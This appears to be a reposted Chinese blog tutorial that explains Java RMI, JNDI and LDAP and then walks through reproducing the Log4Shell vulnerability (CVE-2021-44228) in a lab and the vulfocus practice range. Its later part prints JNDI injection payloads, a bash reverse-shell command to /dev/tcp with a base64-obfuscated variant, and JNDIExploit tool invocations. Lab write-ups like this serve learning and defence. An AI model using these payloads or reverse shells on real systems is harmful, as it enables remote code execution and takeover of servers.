我是靠谱客的博主 孤独棒球,最近开发中收集的这篇文章主要介绍log4j漏洞复现及前置知识,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言:我是觉得这个

RMI、JNDI、LDAP介绍+log4j漏洞分析:https://blog.csdn.net/HBohan/article/details/123181812
⬆️主要参考文章

RMI

Remote Method Invocatioon,也就是远程方法调用,
和RPC(Remote Procedure Call)很像,RMI算是JAVA定制版RPC。

一个完整的RMI调用过程,需要下面几个部分

注册服务
RMIServer
客户端
接口
实现接口的类

注册服务代码:

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;
//1、先启动Register服务
public class RegServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(8000);//registry使用8000端口
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        CountDownLatch cd =new CountDownLatch(1);
        try {
            cd.await();//挂起主线程,否则应用会退出
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

接口和接口实现类:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteIntF extends Remote {
    String sayHello(String from_the_out_side) throws RemoteException;
}
//----------接口实现类
import java.rmi.RemoteException;

public class RemoteImp implements RemoteIntF {
    public String sayHello(String name) throws RemoteException{
        return String.format("hello, %s!",name);
    }
}

RMI服务代码:

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
//2、启动RMI去连接Register服务,并将Name和存根stub 发送给Register服务
public class RMI {
    public static void main(String[] args) {
        RemoteImp remotehello = new RemoteImp();
        try {
            RemoteIntF stub = (RemoteIntF) UnicastRemoteObject.exportObject(remotehello,4000);//导出服务,使用4000端口
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);//获取registry
            registry.bind("laotie",stub);//使用名字laotie,将服务注册到registry
        } catch (AlreadyBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

客户端代码:

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//3、启动Client,连接Register服务,根据Name获取到对应存根,再通过存根调用sayHello(“from the out side”)
public class Client {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",8000);//获取注册中心引用
            RemoteIntF remotehello = (RemoteIntF) registry.lookup("laotie");//获取remotehello服务
            System.out.println(remotehello.sayHello("from the out side"));//调用远程方法
        } catch (RemoteException | NotBoundException e) {
            e.printStackTrace();
        }
    }
}

执行流程如下:依次运行下面3个类的main方法

1、首先开启注册服务RegServer
2、RMI创建实现接口的类的对象,并在注册服务中注册
3、Client客户端从注册服务调用接口里的方法

RegServer运行后状态:是不会自动停止的
在这里插入图片描述
RMI 同
Client运行结果:
在这里插入图片描述
不用的时候,记得手动关闭
在这里插入图片描述
还有⬆️代码的简化版本,见原博文。

JNDI

Java Naming and Directory Interfac, java命名和目录接口。
Naming指命名服务,Directory指目录服务。

命名服务

通过对资源的命名,便于下次调用资源更方便(所以这里的Naming要唯一)。为每一个名字绑定了一个资源。

例如上面的例子中的注册服务,就属于命名服务将laotie绑定RemoteImpl对象,在使用时,直接通过名字laotie就可以获取到RemoteImpl的存根stub。

目录服务

和命名服务很像,但更复杂,可以理解为一个清单,清单上有各种资源,每个资源又有自己的清单。
和计算机上的目录很像,打开一个文件夹,可以看见下一层目录,再打开一个文件夹,又可以看见下一层目录。
在这里插入图片描述

dns就是目录服务,那它为什么属于目录服务,而不属于命名服务呢?
因为:在查询dns时,本地dns服务器去请求dns根服务器然后再请求.com服务器,在请求163.com服务器,最后获得地址。

目录服务使用树形结构,这种结构优点是查询效率特别高,所以目录服务的优点之一就是查询效率特别高;缺点就是写数据慢,它可以是一种属性结构的数据库,也可以是上面那种分布式的目录服务。


JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。

J2EE规定了J2EE容器都要实现JNDI接口。
在实际使用时,在J2EE容器中配置JNDI参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用。

一个mysql的配置文件示例如图,数据源名称就是MySqlDS

<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
    <metadata>
       <type-mapping>mySQL</type-mapping>
    </metadata>
</local-tx-datasource>
</datasources>

在使用时:

Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();

通过JNDI统一的接口,只需要配置好数据源,在使用时,只需要调用lookup方法,查询数据源名称就可以获得数据源。
使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了。

LDAP

LDAP(Light Directory Access Portocol),是一种协议,它是基于X.500标准的跨平台的 轻量级目录访问协议,也是通过树形结构。

LDAP的中心概念是信息模型,它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目(即树的一个Node)进行,该条目是具有类型和值的属性的集合。 条目以树状结构组织,称为目录信息树。 这些条目是围绕现实世界的概念,组织,人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP中的专有名称从下至上读取。 左侧部分称为相对专有名称,右侧部分为基本专有名称。

LDAP协议主要用于单点登录SSO(Single Sign on),可以用于SSO,但不等与SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等。如图
在这里插入图片描述

log4j复现

环境准备:
创建maven项目,添加依赖

<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>

创建类

package log2jfx;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2Vul {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://xxing.org.cn}");
    }
}

运行,成功收到dns请求
在这里插入图片描述

使用的dnslog一开始看到这个IP地址也不是我的出口IP呀,就觉得可能别人用混了什么的。

就用了goby的dnslog插件,听说这样的话别人就不会用混什么的,结果还是那个IP,然后我就麻了。

在这里插入图片描述
试了好几遍,都能接收到请求,我肯定是成功了的。

写到这,我才恍然大明白,goby里不也是dnslog嘛,能跟网站上有啥不一样。

俺来不知道,就这吧嘻嘻

复现方式2

https://cloud.tencent.com/developer/article/1917856

搭建一个jndi服务

https://github.com/feihong-cs/JNDIExploit
或者去
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5

在这里插入图片描述

去刚下载的文件里面找到JNDIExploit-1.2-SNAPSHOT.jar所在的文件夹,并使用终端打开,执行以下命令。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地的ip地址/VPS地址

https://github.com/welk1n/JNDI-Injection-Exploit

nc监听

复现方式3–vulfocus靶场

https://blog.csdn.net/csd_ct/article/details/121158165

拉取镜像

docker pull vulfocus/vulfocus:latest

运行

docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=192.168.9.90 vulfocus/vulfocus

VUL_IP值为 Docker 服务器 IP ,不能为 127.0.0.1。
启动出现问题
在这里插入图片描述
手动启动下试试
在这里插入图片描述

启动容器后,输入IP访问(我的看样子,不知道有什么问题出现了)
在这里插入图片描述
默认登录密码为:admin/admin,登录成功后,进入镜像管理,一键同步,就可以同步官网镜像了(果然是有问题,俺获取不到,哭唧唧
在这里插入图片描述

点击添加,找到要的镜像后,会自动下载镜像
哎嘿,我又可以了
在首页,启动靶场
在这里插入图片描述
访问地址
在这里插入图片描述
就是这个
在这里插入图片描述
burp抓包,提示参数为payload
在这里插入图片描述
先用dnslog验证一下

${jndi:ldap://rgje7p.dnslog.cn}
//进行url编码
%24%7Bjndi%3Aldap%3A%2F%2Frgje7p.dnslog.cn%7D

在这里插入图片描述
验证成功
在这里插入图片描述

漏洞利用

在虚拟机开启监听
在这里插入图片描述

//构造反弹shell命令
bash -i >& /dev/tcp/192.168.9.187/1234 0>&1 
//由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
//加密方式见[原文链接](https://blog.csdn.net/yang1234567898/article/details/124255931)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

使用jdni注入工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
//即
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.9.90"
//192.168.9.90就是运行这条命令得电脑IP

在这里插入图片描述

${jndi:rmi://192.168.9.90:1099/5q6nbt}

算逑,数据发过去一直在waiting
在这里插入图片描述
啥都没listen到
在这里插入图片描述
仿佛出了什么错
在这里插入图片描述

原理分析

https://su18.org/post/log4j2/
https://www.yuque.com/yq1ng/java/pbica2#xrVeI

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。 CVE 编号:CVE-2021-44228

在这里插入图片描述

浅谈Log4j2信息泄露与不出网回显:https://xz.aliyun.com/t/10659

idea生成jar文件

https://blog.csdn.net/qq_33942040/article/details/123292824

1、打开模块设置
在这里插入图片描述

2、选模块
在这里插入图片描述

3、选主类以及生成的文件在哪个地方
在这里插入图片描述
4、选择“包含在项目构建中”然后点击apply
在这里插入图片描述
5、编译生成
在这里插入图片描述

6、build
在这里插入图片描述
7、就在这里啦
在这里插入图片描述

另:
在这里插入图片描述

最后

以上就是孤独棒球为你收集整理的log4j漏洞复现及前置知识的全部内容,希望文章能够帮你解决log4j漏洞复现及前置知识所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部